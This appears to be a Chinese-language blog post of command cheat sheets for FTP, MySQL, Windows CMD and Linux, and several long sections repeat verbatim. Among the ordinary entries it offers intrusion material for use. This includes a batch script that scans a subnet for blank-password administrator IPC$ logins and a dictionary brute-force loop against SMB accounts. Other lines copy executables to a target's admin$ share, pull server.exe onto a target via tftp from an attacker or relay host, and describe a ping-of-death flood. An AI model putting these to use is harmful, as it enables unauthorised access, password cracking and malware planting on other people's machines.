get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
mget [remote-files] 从远端主机接收一批文件至本地主机
mput local-files 将本地主机中一批文件传送至远端主机
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
ascii 设定以ASCII方式传送文件(缺省值)
bin 或 image 设定以二进制方式传送文件
bell 每完成一次文件传送,报警提示
cdup 返回上一级目录
close 中断与远程服务器的ftp会话(与open对应)
open host[port] 建立指定ftp服务器连接,可指定连接端口
delete 删除远端主机中的文件
mdelete [remote-files] 删除一批文件
mkdir directory-name 在远端主机中建立目录
rename [from] [to] 改变远端主机中的文件名
rmdir directory-name 删除远端主机中的目录
status 显示当前FTP的状态
system 显示远端主机系统类型
user user-name [password] [account] 重新以别的用户名登录远端主机
open host [port] 重新建立一个新的连接
prompt 交互提示模式
macdef 定义宏命令
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
chmod 改变远端主机的文件权限
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
cd remote-dir 进入远程主机目录
cdup 进入远程主机目录的父目录
! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip MYSQL 命令:
mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u与root可以不用加空格,其它也一样)
exit 退出MYSQL
mysqladmin -u用户名 -p旧密码 password 新密码 修改密码
grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
use mysql;
show tables; 显示库中的数据表
describe 表名; 显示数据表的结构
create database 库名; 建库
use 库名;
create table 表名 (字段设定列表); 建表
drop database 库名;
drop table 表名; 删库和删表
delete from 表名; 将表中记录清空
select * from 表名; 显示表中的记录
mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的\\mysql\\bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。
win2003系统下新增命令(实用部份):
shutdown /参数 关闭或重启本地或远程主机。
参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。
例:shutdown /r /t 0 立即重启本地主机(无延时)
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。 Linux系统下基本命令: 要区分大小写
uname 显示版本信息(同win2K的 ver)
dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)
pwd 查询当前所在的目录位置
cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
cat 文件名 查看文件内容
cat >abc.txt 往abc.txt文件中写上内容。
more 文件名 以一页一页的方式显示一个文本文件。
cp 复制文件
mv 移动文件
rm 文件名 删除文件,rm -a 目录名删除目录及子目录
mkdir 目录名 建立目录
rmdir 删除子目录,目录内没有文档。
chmod 设定档案或目录的存取权限
grep 在档案中查找字符串
diff 档案文件比较
find 档案搜寻
date 现在的日期、时间
who 查询目前和你使用同一台机器的人以及Login时间地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名称
groups 查看某人的Group
passwd 更改密码
history 查看自己下过的命令
ps 显示进程状态
kill 停止某进程
gcc 黑客通常用它来编译C语言写的文件
su 权限转换为指定使用者
telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
ftp ftp连接上某服务器(同win2K) 附:批处理命令与变量 1:for命令及变量 基本格式:
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。
批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3 (set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{“(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1} command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
command_parameters:为特定命令指定参数或命令行开关 IN (set):指在(set)中取值;DO command :指执行command 参数:/L 指用增量形式{(set)为增量形式时};/F 指从文件中不断取值,直到取完为止{(set)为文件时,如(d:\pass.txt)时}。
用法举例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。 /L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。
// C:\MinGW\bin\g++.exe ->g++.exe安装路径
// $(FULL_CURRENT_PATH) ->当前全路径
// $(CURRENT_DIRECTORY) ->当前文件夹
// $(NAME_PART) ->当前文件名(不含后缀)
C:\MinGW\bin\g++.exe "$(FULL_CURRENT_PATH)" -o "$(CURRENT_DIRECTORY)\$(NAME_PART).exe"
//notepad++中 如何运行当前打开的cpp文件编译后的exe文件:
// cmd /k 运行后不关闭 命令窗口
cmd /k $(CURRENT_DIRECTORY)\$(NAME_PART).exe
/***************************************************************/
CMD 新手入门知识
//查看cmd命令:
cmd then help
cmd /?
winver 检查Windows版本
wmimgmt.msc 打开Windows管理体系结构(wmi)
wupdmgr Windows更新程序
wscript Windows脚本宿主设置
write 写字板
winmsd 系统信息
wiaacmgr 扫描仪和照相机向导
winchat xp自带局域网聊天
mem.exe 显示内存使用情况
msconfig.exe 系统配置实用程序
mplayer2 简易widnows media player
mspaint 画图板
mstsc 远程桌面连接
mplayer2 媒体播放机
magnify 放大镜实用程序
mmc 打开控制台
mobsync 同步命令
dxdiag 检查directx信息
drwtsn32 系统医生
devmgmt.msc 设备管理器
dfrg.msc 磁盘碎片整理程序
diskmgmt.msc 磁盘管理实用程序
dcomcnfg 打开系统组件服务
ddeshare 打开dde共享设置
dvdplay dvd播放器
net stop messenger 停止信使服务
net start messenger 开始信使服务
notepad 打开记事本
nslookup 网络管理的工具向导
ntbackup 系统备份和还原
narrator 屏幕“讲述人”
ntmsmgr.msc 移动存储管理器
ntmsoprq.msc 移动存储管理员操作请求
netstat -an (tc)命令检查接口
syncapp 创建一个公文包
sysedit 系统配置编辑器
sigverif 文件签名验证程序
sndrec32 录音机
shrpubw 创建共享文件夹
secpol.msc 本地安全策略
syskey 系统加密,一旦加密就不能解开,保护Windows xp系统的双重密码
services.msc 本地服务设置
sndvol32 音量控制程序
sfc.exe 系统文件检查器
sfc /scannow windows文件保护 tsshutdn 60秒倒计时关机命令
tourstart xp简介(安装完成后出现的漫游xp程序)
taskmgr 任务管理器
eventvwr 事件查看器
eudcedit 造字程序
explorer 打开资源管理器
packager 对象包装程序
perfmon.msc 计算机性能监测程序
progman 程序管理器
regedit.exe 注册表
rsop.msc 组策略结果集
regedt32 注册表编辑器
rononce -p 15秒关机
regsvr32 /u *.dll 停止dll文件运行
regsvr32 /u zipfldr.dll 取消zip支持
cmd.exe cmd命令提示符
chkdsk.exe chkdsk磁盘检查
certmgr.msc 证书管理实用程序
calc 启动计算器
charmap 启动字符映射表
cliconfg sql server 客户端网络实用程序
clipbrd 剪贴板查看器
conf 启动netmeeting
compmgmt.msc 计算机管理
cleanmgr 垃圾整理
ciadv.msc 索引服务程序
osk 打开屏幕键盘
odbcad32 odbc数据源管理器
oobe/msoobe /a 检查xp是否激活
lusrmgr.msc 本机用户和组
logoff 注销命令
iexpress 木马捆绑工具,系统自带
nslookup ip地址侦测器
fsmgmt.msc 共享文件夹管理器
utilman 辅助工具管理器
gpedit.msc 组策略
以下为Windows操作系统的常用运行命令,执行这些命令,就能打开系统对应的相关实用程序,如果大家能基本利用,就能检查并修复系统的最基本的故障,除注销,关闭系统命令外,其它所有命令,大家不妨一试!!
运行\输入CMD\输入 对应的相关实用程序:
. 打开C:\Documents and Settings\XXX(当前登录Windows XP的用户名)
.. 打开Windows XP所在的盘符下的Documents and Settings文件夹
... 打开“我的电脑”选项。
accwiz.exe 辅助工具向导
actmovie.exe 直接显示安装工具
append.exe 允许程序打开制定目录中的数据
arp.exe 显示和更改计算机的IP与硬件物理地址的对应列表
at.exe 计划运行任务
atmadm.exe ATM调用管理器统计
attrib.exe 显示和更改文件和文件夹属性
/***************************************************************************************************/
其他回答/***************************************************************************************************/
我搜集的CMD命令如下net use \\ip\ipc$ " " /user:" " 建立IPC空链接
net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
net use h: \\ip\c$ 登陆后映射对方C:到本地为H:
net use \\ip\ipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
net start 查看开启了哪些服务
net start 服务名 开启服务;(如:net start telnet, net start schedule)
net stop 服务名 停止某服务
net time \\目标ip 查看对方时间
net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view \\ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C:共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况,常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件 del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP(属telnet登陆后的命令)
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
copy c:\srv.exe \\ip\admin$ 复制本地c:\srv.exe到对方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
copy $\svv.exe">\\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:
xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件(目录)的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序,并显示出:请按任意键继续....
if 在批处理程序中执行条件处理(更多说明见if命令及变量)
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )
print 文件名 打印文本文件 ver 在DOS窗口下显示版本信息
winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目录名 创建目录
replace 源文件 要替换文件的目录 替换文件
ren 原文件名 新文件名 重命名文件名
tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
type 文件名 显示文本文件的内容
more 文件名 逐屏显示输出文件
doskey 要锁定的命令=字符
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
taskmgr 调出任务管理器
chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
path 路径\可执行文件的文件名 为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
regedit /e 注册表文件名 导出注册表
cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
cacls 文件名 查看文件的访问用户权限列表
REM 文本内容 在批处理文件中添加注解
netsh 查看或更改本地网络配置情况 IIS服务命令:
iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
iisreset /start或stop 启动(停止)所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 显示所有Internet服务状态
iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
FTP 命令: (后面有详细说明内容)
ftp的命令行格式为:
ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
-d 使用调试方式。
-n 限制ftp的自动登录,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令说明
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
pwd 列出当前远端主机目录
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
mget [remote-files] 从远端主机接收一批文件至本地主机
mput local-files 将本地主机中一批文件传送至远端主机
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
ascii 设定以ASCII方式传送文件(缺省值)
bin 或 image 设定以二进制方式传送文件
bell 每完成一次文件传送,报警提示
cdup 返回上一级目录
close 中断与远程服务器的ftp会话(与open对应)
open host[port] 建立指定ftp服务器连接,可指定连接端口
delete 删除远端主机中的文件
mdelete [remote-files] 删除一批文件
mkdir directory-name 在远端主机中建立目录
rename [from] [to] 改变远端主机中的文件名
rmdir directory-name 删除远端主机中的目录
status 显示当前FTP的状态
system 显示远端主机系统类型
user user-name [password] [account] 重新以别的用户名登录远端主机
open host [port] 重新建立一个新的连接
prompt 交互提示模式
macdef 定义宏命令
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
chmod 改变远端主机的文件权限
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
cd remote-dir 进入远程主机目录
cdup 进入远程主机目录的父目录
! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip MYSQL 命令:
mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u与root可以不用加空格,其它也一样)
exit 退出MYSQL
mysqladmin -u用户名 -p旧密码 password 新密码 修改密码
grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
use mysql;
show tables; 显示库中的数据表
describe 表名; 显示数据表的结构
create database 库名; 建库
use 库名;
create table 表名 (字段设定列表); 建表
drop database 库名;
drop table 表名; 删库和删表
delete from 表名; 将表中记录清空
select * from 表名; 显示表中的记录
mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的\\mysql\\bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。
win2003系统下新增命令(实用部份):
shutdown /参数 关闭或重启本地或远程主机。
参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。
例:shutdown /r /t 0 立即重启本地主机(无延时)
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。 Linux系统下基本命令: 要区分大小写
uname 显示版本信息(同win2K的 ver)
dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)
pwd 查询当前所在的目录位置
cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
cat 文件名 查看文件内容
cat >abc.txt 往abc.txt文件中写上内容。
more 文件名 以一页一页的方式显示一个文本文件。
cp 复制文件
mv 移动文件
rm 文件名 删除文件,rm -a 目录名删除目录及子目录
mkdir 目录名 建立目录
rmdir 删除子目录,目录内没有文档。
chmod 设定档案或目录的存取权限
grep 在档案中查找字符串
diff 档案文件比较
find 档案搜寻
date 现在的日期、时间
who 查询目前和你使用同一台机器的人以及Login时间地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名称
groups 查看某人的Group
passwd 更改密码
history 查看自己下过的命令
ps 显示进程状态
kill 停止某进程
gcc 黑客通常用它来编译C语言写的文件
su 权限转换为指定使用者
telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
ftp ftp连接上某服务器(同win2K) 附:批处理命令与变量 1:for命令及变量 基本格式:
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。
批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3 (set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{“(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1} command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
command_parameters:为特定命令指定参数或命令行开关 IN (set):指在(set)中取值;DO command :指执行command 参数:/L 指用增量形式{(set)为增量形式时};/F 指从文件中不断取值,直到取完为止{(set)为文件时,如(d:\pass.txt)时}。
用法举例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。 /L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。
订阅:
博文 (Atom)